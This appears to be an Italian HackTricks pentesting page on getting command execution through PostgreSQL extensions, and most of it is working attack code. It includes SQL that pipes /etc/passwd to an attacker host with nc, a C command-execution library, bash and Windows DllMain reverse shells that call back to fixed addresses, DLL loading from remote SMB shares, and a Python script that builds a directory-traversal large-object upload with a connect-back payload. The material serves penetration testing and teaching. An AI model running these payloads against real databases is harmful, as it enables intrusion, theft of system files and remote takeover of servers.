RCE with PostgreSQL Extensions

Supporta HackTricks

Estensioni PostgreSQL

PostgreSQL è stato sviluppato con l'estensibilità come caratteristica fondamentale, permettendo di integrare senza problemi le estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.

A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.

Inoltre, tieni presente che se non sai come caricare file sulla vittima abusando di PostgreSQL dovresti leggere questo post.

RCE in Linux

Per ulteriori informazioni controlla: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo che è stato chiaramente documentato ed è semplice. È possibile utilizzare questo: modulo Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Scrivere un file binario da base64

Per scrivere un binario in un file in postgres potresti dover usare base64, questo sarà utile a tal proposito:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Tuttavia, quando tentato su versioni superiori è stato mostrato il seguente errore:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Questo errore è spiegato nella documentazione di PostgreSQL:

Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "magic block" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un magic block è richiesto a partire da PostgreSQL 8.2. Per includere un magic block, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è stato reso più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.

Compila la libreria

Ottieni la versione di PostgreSQL con:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Per compatibilità, è essenziale che le versioni principali siano allineate. Pertanto, compilare una libreria con qualsiasi versione della serie 9.6.x dovrebbe garantire un'integrazione riuscita.

Per installare quella versione nel tuo sistema:

apt install postgresql postgresql-server-dev-9.6

E compila la libreria:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Poi carica la libreria compilata ed esegui comandi con:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Puoi trovare questa libreria precompilata per diverse versioni di PostgreSQL e puoi anche automatizzare questo processo (se hai accesso a PostgreSQL) con:

RCE in Windows

Il seguente DLL prende come input il nome del binario e il numero di volte che vuoi eseguirlo e lo esegue:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Puoi trovare il DLL compilato in questo zip:

4KB
pgsql_exec.zip
archive

Puoi indicare a questo DLL quale binario eseguire e il numero di volte da eseguire, in questo esempio eseguirà calc.exe 2 volte:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

In qui puoi trovare questa reverse-shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Nota come in questo caso il codice malevolo si trova all'interno della funzione DllMain. Questo significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta caricare il DLL per eseguire la reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

Il progetto PolyUDF è anche un buon punto di partenza con il progetto completo di MS Visual Studio e una libreria pronta all'uso (inclusi: command eval, exec e cleanup) con supporto multiversione.

RCE nelle ultime versioni di PostgreSQL

Nelle ultime versioni di PostgreSQL, sono state imposte restrizioni in cui il superuser è proibito dal caricare file di librerie condivise tranne che da directory specifiche, come C:\Program Files\PostgreSQL\11\lib su Windows o /var/lib/postgresql/11/lib su sistemi *nix. Queste directory sono protette contro le operazioni di scrittura sia dagli account NETWORK_SERVICE che postgres.

Nonostante queste restrizioni, è possibile per un superuser autenticato del database scrivere file binari nel filesystem utilizzando "oggetti di grandi dimensioni". Questa capacità si estende alla scrittura all'interno della directory C:\Program Files\PostgreSQL\11\data, che è essenziale per operazioni di database come l'aggiornamento o la creazione di tabelle.

Una vulnerabilità significativa deriva dal comando CREATE FUNCTION, che permette la traversata delle directory nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe sfruttare questa traversata per scrivere un file di libreria condivisa nella directory dei dati e poi caricarlo. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo sul sistema.

Flusso di attacco

Prima di tutto, è necessario utilizzare oggetti di grandi dimensioni per caricare il dll. Puoi vedere come farlo qui:

Big Binary Files Upload (PostgreSQL)

Una volta che hai caricato l'estensione (con il nome di poc.dll per questo esempio) nella directory dei dati, puoi caricarla con:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Nota che non è necessario aggiungere l'estensione .dll poiché la funzione create la aggiungerà.

Per ulteriori informazioni leggi la pubblicazione originale qui. In quella pubblicazione questo era il codice usato per generare l'estensione postgres (per imparare a compilare un'estensione postgres leggi una delle versioni precedenti). Nella stessa pagina è stato fornito questo exploit per automatizzare questa tecnica:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Riferimenti

Supporta HackTricks

Last updated